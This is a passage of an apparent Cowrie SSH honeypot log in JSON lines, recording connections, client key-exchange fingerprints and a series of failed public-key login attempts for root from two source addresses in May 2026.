","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.083756Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:a6:f0:86:de:60:46:61:57:18:c8:ac:a0:04:ac:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzrglPsvB2AZcIEmVDX4BfUzEoguifjnJbPIaFrn15FCCv7sjpwCYSVtJIu0azLXt/mlCoN3BXJwdnSL8VefhXZl0wvuYBnGSkV5ceLh2Bn2UGJD6DMQcWx30kLOLKn0EOL4vaMg5M0X5hYiPfcRs+ajT5yO0i4d/ZUAxpleQ504t0CJMCeHqDMzZgnUl/LpnyLe0HiK0+1LhJJ7BObxbDBHeVmTwV2S0LpsO3XPV9zKJ5YO96IlmeH4OOJyr6a38amZ3/ss7dQzD0QPPemdPdLNlel+PjlHLnOK6BsxBIXygae+CyQXR/OWO+MBOmkG8xCUpxcBx8s2+tGjILJctp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:a6:f0:86:de:60:46:61:57:18:c8:ac:a0:04:ac:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.608638Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:a6:f0:86:de:60:46:61:57:18:c8:ac:a0:04:ac:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzrglPsvB2AZcIEmVDX4BfUzEoguifjnJbPIaFrn15FCCv7sjpwCYSVtJIu0azLXt/mlCoN3BXJwdnSL8VefhXZl0wvuYBnGSkV5ceLh2Bn2UGJD6DMQcWx30kLOLKn0EOL4vaMg5M0X5hYiPfcRs+ajT5yO0i4d/ZUAxpleQ504t0CJMCeHqDMzZgnUl/LpnyLe0HiK0+1LhJJ7BObxbDBHeVmTwV2S0LpsO3XPV9zKJ5YO96IlmeH4OOJyr6a38amZ3/ss7dQzD0QPPemdPdLNlel+PjlHLnOK6BsxBIXygae+CyQXR/OWO+MBOmkG8xCUpxcBx8s2+tGjILJctp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.612862Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:92:ea:18:bf:ea:b6:9a:d4:59:6a:be:c9:6f:03:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC/AE0gXzM52kHo/+Fwzfo6Tc1oyd9LwArAozwiNJxGNH1NGSuRNfg06IvhTVGO610HNMET8vTPvUAVgFVnO1gGD9vOtqYE6jpJ8paKCXGqUIWkVo3gjyi72qZboQCsrOs2KJ4cEm3C5tN+2dGV/DB1AGUy95MCM2DE2tBPOkWiwadxQ1EdKZ2E9EsmZF6l7Knah1gn0A+FWxLMcc4oR0QtL7pogkiTDDLMjDBGVjmwypw7Hqm63de9fdbxAinQLoJhddFRddINs/EHA7U/jmRVPP8GChXtXGSCrTehC9K1NqqgyFY5PVAr0hTc0XmVnNgiAFzxuiu4AIGZyvke8NSRjhwm8619lppvk5ifzGPXrOxkMP+lkBCiT5tOVpdZPRyEs1/8suc6Gc+Ni9WgpuZBBY9N/d5MgnsmCgIDJjkyXejXN4/mPXPFjsK+qege5tMX7RD+2XFKbuw8uEDAL/HQHQzyRR+qtc2rP8mQqXxMSe0RFas/9eGYDXe1a/2phXxMZH6/ss5Fcs1AAtvOX6v2cj4gfww/IlXKqsXnEc3GGGt98xnTLKbVM5DkDSemASTKmI6TNpAkKrSJTG83+YWWwI5kw85TbbFL/Ff9qXVI5qj+eQCJViEniAY23zjV4LoDRL1gjjBwsei6EY6QKNCNJQVpBoAB2wwg5uHgQgfRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:92:ea:18:bf:ea:b6:9a:d4:59:6a:be:c9:6f:03:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.727433Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:92:ea:18:bf:ea:b6:9a:d4:59:6a:be:c9:6f:03:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDC/AE0gXzM52kHo/+Fwzfo6Tc1oyd9LwArAozwiNJxGNH1NGSuRNfg06IvhTVGO610HNMET8vTPvUAVgFVnO1gGD9vOtqYE6jpJ8paKCXGqUIWkVo3gjyi72qZboQCsrOs2KJ4cEm3C5tN+2dGV/DB1AGUy95MCM2DE2tBPOkWiwadxQ1EdKZ2E9EsmZF6l7Knah1gn0A+FWxLMcc4oR0QtL7pogkiTDDLMjDBGVjmwypw7Hqm63de9fdbxAinQLoJhddFRddINs/EHA7U/jmRVPP8GChXtXGSCrTehC9K1NqqgyFY5PVAr0hTc0XmVnNgiAFzxuiu4AIGZyvke8NSRjhwm8619lppvk5ifzGPXrOxkMP+lkBCiT5tOVpdZPRyEs1/8suc6Gc+Ni9WgpuZBBY9N/d5MgnsmCgIDJjkyXejXN4/mPXPFjsK+qege5tMX7RD+2XFKbuw8uEDAL/HQHQzyRR+qtc2rP8mQqXxMSe0RFas/9eGYDXe1a/2phXxMZH6/ss5Fcs1AAtvOX6v2cj4gfww/IlXKqsXnEc3GGGt98xnTLKbVM5DkDSemASTKmI6TNpAkKrSJTG83+YWWwI5kw85TbbFL/Ff9qXVI5qj+eQCJViEniAY23zjV4LoDRL1gjjBwsei6EY6QKNCNJQVpBoAB2wwg5uHgQgfRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.731855Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:56:27:47:cd:52:e1:42:12:bd:cf:2b:17:4f:4f:a3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAON6gIxUfido93kVWRhfe3QTpDBtPLFYNwhXkjcdzI9WItE0BZ1wTxfHH8F9hZZGKLdg8BAFNHC11DOiSv2SlfNfDBH8E36uwtRtrJK2OyMv4xQ73/2nZVDSC396/52kOBTIpAHLV2fvZPu0IXumxJXFSiSjQERuCPGUKBxsMRGVAAAAFQCO6TudH+7yLO2WyrGJxMDi8FvFewAAAIEAhqsLUHmBo0kolcDysLdA7jDnxu45O9vlj2Wj1iGomXI37TcWeLsgNI6fBSLZmQ09zRVWX0e0LYgwEmS9C3gIBFrgp0xTG7yqqyDXKKTrzNu4Xg8f1XbeY+PUvSE245puyIJyGj2lmDRuibtsXRl9I8ZaA6jsKiHvqh5/x3PHN0oAAACAQpiy+mM1sLsTQmbrNXh0HkmUroatQjzT+qNKEJ/4HYa0U7iouP7KhkryovbLOKzv7ojD+w0Ip7R7ygnpTAFEwOzdDk6mFyarxfhN6LsfQED3mZv2qPtg1du1dqtA+ib0iWeUt04TfjBTpTPqyljrfRsCdzchTJbD2yxaofSgxiM=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ee:56:27:47:cd:52:e1:42:12:bd:cf:2b:17:4f:4f:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.843147Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:56:27:47:cd:52:e1:42:12:bd:cf:2b:17:4f:4f:a3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAON6gIxUfido93kVWRhfe3QTpDBtPLFYNwhXkjcdzI9WItE0BZ1wTxfHH8F9hZZGKLdg8BAFNHC11DOiSv2SlfNfDBH8E36uwtRtrJK2OyMv4xQ73/2nZVDSC396/52kOBTIpAHLV2fvZPu0IXumxJXFSiSjQERuCPGUKBxsMRGVAAAAFQCO6TudH+7yLO2WyrGJxMDi8FvFewAAAIEAhqsLUHmBo0kolcDysLdA7jDnxu45O9vlj2Wj1iGomXI37TcWeLsgNI6fBSLZmQ09zRVWX0e0LYgwEmS9C3gIBFrgp0xTG7yqqyDXKKTrzNu4Xg8f1XbeY+PUvSE245puyIJyGj2lmDRuibtsXRl9I8ZaA6jsKiHvqh5/x3PHN0oAAACAQpiy+mM1sLsTQmbrNXh0HkmUroatQjzT+qNKEJ/4HYa0U7iouP7KhkryovbLOKzv7ojD+w0Ip7R7ygnpTAFEwOzdDk6mFyarxfhN6LsfQED3mZv2qPtg1du1dqtA+ib0iWeUt04TfjBTpTPqyljrfRsCdzchTJbD2yxaofSgxiM=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.847987Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:33:4f:2e:96:de:af:09:57:55:6a:bd:8d:8d:3a:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD3Du20ijgAGSl8OobBsJOeH/3fScRxb2FL8qs74Ro/CNc2DrdAV24E1EfYN0fd0CvDmsU6XzGkgt8ZPnG196yFJCtFSrwpZEre8+nzyIDQW2MEKyQl+QBAaK/FZKJKmNoBgr9CoxzBu+4fcPej1iQIQGivZTV+htOve2hRlniJMPyVmjVmlSPeSclvQSrCg7qhNBiiuHdjAeU9+m6ubiajxgA9DUpdbqnp6bdZPLHT4YAzkJwolQM4TFMeAZrThaJ1HTd1VJKhfz3f7M0JMyMIIMBi2EeYvBQWqEjbs7dMJ7V5Vkhm87q1oWMvE50MpqUl55RfRWzTExM2aboeLEL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:33:4f:2e:96:de:af:09:57:55:6a:bd:8d:8d:3a:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.958574Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:33:4f:2e:96:de:af:09:57:55:6a:bd:8d:8d:3a:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD3Du20ijgAGSl8OobBsJOeH/3fScRxb2FL8qs74Ro/CNc2DrdAV24E1EfYN0fd0CvDmsU6XzGkgt8ZPnG196yFJCtFSrwpZEre8+nzyIDQW2MEKyQl+QBAaK/FZKJKmNoBgr9CoxzBu+4fcPej1iQIQGivZTV+htOve2hRlniJMPyVmjVmlSPeSclvQSrCg7qhNBiiuHdjAeU9+m6ubiajxgA9DUpdbqnp6bdZPLHT4YAzkJwolQM4TFMeAZrThaJ1HTd1VJKhfz3f7M0JMyMIIMBi2EeYvBQWqEjbs7dMJ7V5Vkhm87q1oWMvE50MpqUl55RfRWzTExM2aboeLEL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:57.962292Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:17:29:87:e0:9d:26:0c:d3:2c:47:46:83:e3:16:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEp3fOnIWEp715JFiYNKXdZ/MIKjjJ+xm1+1S13UgfRp","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 78:17:29:87:e0:9d:26:0c:d3:2c:47:46:83:e3:16:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:58.072455Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:17:29:87:e0:9d:26:0c:d3:2c:47:46:83:e3:16:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEp3fOnIWEp715JFiYNKXdZ/MIKjjJ+xm1+1S13UgfRp","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:58.077075Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:47:58.187895Z","src_ip":"172.110.221.82","session":"3bb4988bc84d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.61.155","src_port":28950,"dst_ip":"10.17.0.5","dst_port":22,"session":"62272d8f5ab0","protocol":"ssh","message":"New connection: 68.235.61.155:28950 (10.17.0.5:22) [session: 62272d8f5ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:09.893644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:09.898922Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:09.930215Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:4e:37:37:09:72:d1:4a:8a:0a:fb:d6:af:a7:0e:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4D2cko0tXAJMKS5Tiink7wffcdZrHOPQNZhATnnDrBPMgNR5P9cgCqwh6epMrpXzFOp7LAhOPFjiPldWXeSsqdn9aCDkp6xae7sKwBDi8lptvXEflIFIjf3pShsVRrSAYPr0RjJzVdx+6Uc/s+jca/pHqrio4i5q3ILwGT2BDyivAtJIbQw+/nzlh9/Ufc+BJTgtOMsUwBpSpv74KhlFpXs/OjMMsSRsil0L0uzYGCAyKUCQ9jxOoWIzWAMCvLA2R26GSO5dMvWIOVpsrvN21xFAduhAXg7sMjdD3okUAlieVnnNUPRpE93SPHYBzcqP5o2Yq9G35G8mdnXYP3kLBkWtSo5FcZ1auxv/PqLzBKTfx6Frtn+yuRDsovmht3ZS/8seEsNe6tzyxfe6AAYvuqD8KyaYB/C/M10IEZkJZqB/PWhlbOfIgMd38zjIIldIZlgnP/l91egReb7R15cL7tDAHR0rClwZ47RYr4qWLfVp7NYZ6SLrVn9C59ZaStPM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:4e:37:37:09:72:d1:4a:8a:0a:fb:d6:af:a7:0e:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.059115Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:4e:37:37:09:72:d1:4a:8a:0a:fb:d6:af:a7:0e:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4D2cko0tXAJMKS5Tiink7wffcdZrHOPQNZhATnnDrBPMgNR5P9cgCqwh6epMrpXzFOp7LAhOPFjiPldWXeSsqdn9aCDkp6xae7sKwBDi8lptvXEflIFIjf3pShsVRrSAYPr0RjJzVdx+6Uc/s+jca/pHqrio4i5q3ILwGT2BDyivAtJIbQw+/nzlh9/Ufc+BJTgtOMsUwBpSpv74KhlFpXs/OjMMsSRsil0L0uzYGCAyKUCQ9jxOoWIzWAMCvLA2R26GSO5dMvWIOVpsrvN21xFAduhAXg7sMjdD3okUAlieVnnNUPRpE93SPHYBzcqP5o2Yq9G35G8mdnXYP3kLBkWtSo5FcZ1auxv/PqLzBKTfx6Frtn+yuRDsovmht3ZS/8seEsNe6tzyxfe6AAYvuqD8KyaYB/C/M10IEZkJZqB/PWhlbOfIgMd38zjIIldIZlgnP/l91egReb7R15cL7tDAHR0rClwZ47RYr4qWLfVp7NYZ6SLrVn9C59ZaStPM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.063222Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:51:16:fd:ba:9c:64:fb:8b:54:c4:99:55:ef:a9:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmgUMFnb7JTsJuRxXo/ryBGvm022yIk9KiMj/K145j41n8xTosJ7XeAMRCmqi86eQ22c0cKNaF1x5dxmEQ9QsfpZ9shuAdOuoMv934shIXyuWm9P+FSocEcAdn3UMN+8bg/kVy41Oc1MxinnLUy2+cIMLTPM3tmW0wtkfeEuvocdm+psnQ07esWpAPWd9WPRGfb6odHyTMoTfCwMom1earjyf0MthtzOJwhGV7vpI9Iw/U7n+izNzVOxF0wWLGDBpPo8q6EUqkkTPOiYxEvzZ5w3ToJsYDGUUdG9MIukBQLtZfvf6Kh9L6bzOX2t0MqMnrGjDC5kt7CCtc7IsRG9VH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:51:16:fd:ba:9c:64:fb:8b:54:c4:99:55:ef:a9:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.095052Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:51:16:fd:ba:9c:64:fb:8b:54:c4:99:55:ef:a9:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmgUMFnb7JTsJuRxXo/ryBGvm022yIk9KiMj/K145j41n8xTosJ7XeAMRCmqi86eQ22c0cKNaF1x5dxmEQ9QsfpZ9shuAdOuoMv934shIXyuWm9P+FSocEcAdn3UMN+8bg/kVy41Oc1MxinnLUy2+cIMLTPM3tmW0wtkfeEuvocdm+psnQ07esWpAPWd9WPRGfb6odHyTMoTfCwMom1earjyf0MthtzOJwhGV7vpI9Iw/U7n+izNzVOxF0wWLGDBpPo8q6EUqkkTPOiYxEvzZ5w3ToJsYDGUUdG9MIukBQLtZfvf6Kh9L6bzOX2t0MqMnrGjDC5kt7CCtc7IsRG9VH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.099194Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:b9:98:a1:dd:e7:37:c9:00:8b:6d:9f:48:30:5b:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsjwQ2O0CCt9kQYjX4kPQM0swAkAKg0DENaQbaxdABiY9chTPiTLgP/3A8n+sV1ZHz0/gxzvCGnT9+pD7qbMmN3/YgVViHgzDp9EnWEM/7MOG33QZheWED77GSiLxp5/o9S6WKn9Qrbsutf8/T6QMlgiCmOE7lY2g1PKiPh7+VSBooA1VbTBl8EfsyhsoMA+leo+PvTDsaabvGHmyE58fpChrHfRA9VXlorohop1F5P78//o8jhmTx7amGMW0HGl9o3k83gduq2sekuZqiuEhBXMhvEhmUv1IniL0INuaewMSROt+TMnMoFv93UhwEB1CEtFcCGtCrfQfFCuac6Uk/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:b9:98:a1:dd:e7:37:c9:00:8b:6d:9f:48:30:5b:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.131339Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:b9:98:a1:dd:e7:37:c9:00:8b:6d:9f:48:30:5b:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsjwQ2O0CCt9kQYjX4kPQM0swAkAKg0DENaQbaxdABiY9chTPiTLgP/3A8n+sV1ZHz0/gxzvCGnT9+pD7qbMmN3/YgVViHgzDp9EnWEM/7MOG33QZheWED77GSiLxp5/o9S6WKn9Qrbsutf8/T6QMlgiCmOE7lY2g1PKiPh7+VSBooA1VbTBl8EfsyhsoMA+leo+PvTDsaabvGHmyE58fpChrHfRA9VXlorohop1F5P78//o8jhmTx7amGMW0HGl9o3k83gduq2sekuZqiuEhBXMhvEhmUv1IniL0INuaewMSROt+TMnMoFv93UhwEB1CEtFcCGtCrfQfFCuac6Uk/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.135327Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:a8:07:94:6a:0a:49:db:cd:b9:cc:29:56:fa:b3:4c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI/1nRz+hzw1s0vX2xzMQ2iYJQAnl1uOxJMHR7ZBunu9QMtV6V/zIO0KiVpTzpyG5nfPODmL4VsV4frZ/8SMj2wAqHWjXHc80MDl8b+eXOx0rpcbVHdbZigbRjUrSqRim6DpjyLEnIv7Pc6FDgk7H4xhAp634LFJQRfivMT3QO5VAAAAFQCf5XgiD3YgmECHxsEpwSZ94ZHwtwAAAIB7qQ9VKXidIVoSpUHggWbkNUp6rJPZHu08tqdFd7RHe5bLPTymype4UWm8v6KlrZ5TGTlf7UchTygMcm17Df/p1sC2gjCo72x58HtqWg3tTFh/b1NH42lZ+NXxkbAsYdhu/FzdYQOv2r8jXRKWE/eZJwA6j9iL07CIi7ZICa14hgAAAIBDVSnWmNN5+JvTFTJOYo0ZtXmu7d7emqEsKWRbTDAP3iYzetetLXdbSpyjo6CQWVyf+Rsyfybc1z0WvpebQqinMhEn9/323MKQ+lqI81pCWvdJED64U1AmRSTmlNQeaWfkHeFytlhxquuExau041ldZKV4qlc21DXapjctTOB2XQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f5:a8:07:94:6a:0a:49:db:cd:b9:cc:29:56:fa:b3:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.167517Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:a8:07:94:6a:0a:49:db:cd:b9:cc:29:56:fa:b3:4c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI/1nRz+hzw1s0vX2xzMQ2iYJQAnl1uOxJMHR7ZBunu9QMtV6V/zIO0KiVpTzpyG5nfPODmL4VsV4frZ/8SMj2wAqHWjXHc80MDl8b+eXOx0rpcbVHdbZigbRjUrSqRim6DpjyLEnIv7Pc6FDgk7H4xhAp634LFJQRfivMT3QO5VAAAAFQCf5XgiD3YgmECHxsEpwSZ94ZHwtwAAAIB7qQ9VKXidIVoSpUHggWbkNUp6rJPZHu08tqdFd7RHe5bLPTymype4UWm8v6KlrZ5TGTlf7UchTygMcm17Df/p1sC2gjCo72x58HtqWg3tTFh/b1NH42lZ+NXxkbAsYdhu/FzdYQOv2r8jXRKWE/eZJwA6j9iL07CIi7ZICa14hgAAAIBDVSnWmNN5+JvTFTJOYo0ZtXmu7d7emqEsKWRbTDAP3iYzetetLXdbSpyjo6CQWVyf+Rsyfybc1z0WvpebQqinMhEn9/323MKQ+lqI81pCWvdJED64U1AmRSTmlNQeaWfkHeFytlhxquuExau041ldZKV4qlc21DXapjctTOB2XQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.171401Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:35:8d:bd:8c:cb:37:21:69:a6:2f:24:31:06:0f:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA14kKRmKMzuxOQvL3PGZcUUlDADQFoZIo1i9sQN/yKTxmVzPg3axUxCvNxoVD0saUozklC5qzVTT9C/HrN7J8L7KJsBWSoWrX1J8eQgapIYqa92zE+1ZkCkt84nrgkDuHBbO856i69rcdBBPY69pVNHdh1NCEpg7gLa3dsQU3MWuA125CPusqUJ75kJ689FzAAEVE4c4oGqoStCkoFyOWExECAm8RKL10m7uawroXsV9g3+SPhADnhwRnzKGw/A6bnTVkYjNEyPypYFOsXm4MVfHaCTBiSbY5SI8XOiLYpHoWuRbpt4ie7MUVFaWGFJ+47AMNrzHIFSjerUb7cQBPbw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:35:8d:bd:8c:cb:37:21:69:a6:2f:24:31:06:0f:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:48:10.203001Z","src_ip":"68.235.61.155","session":"62272d8f5ab0","protocol":"ssh"}
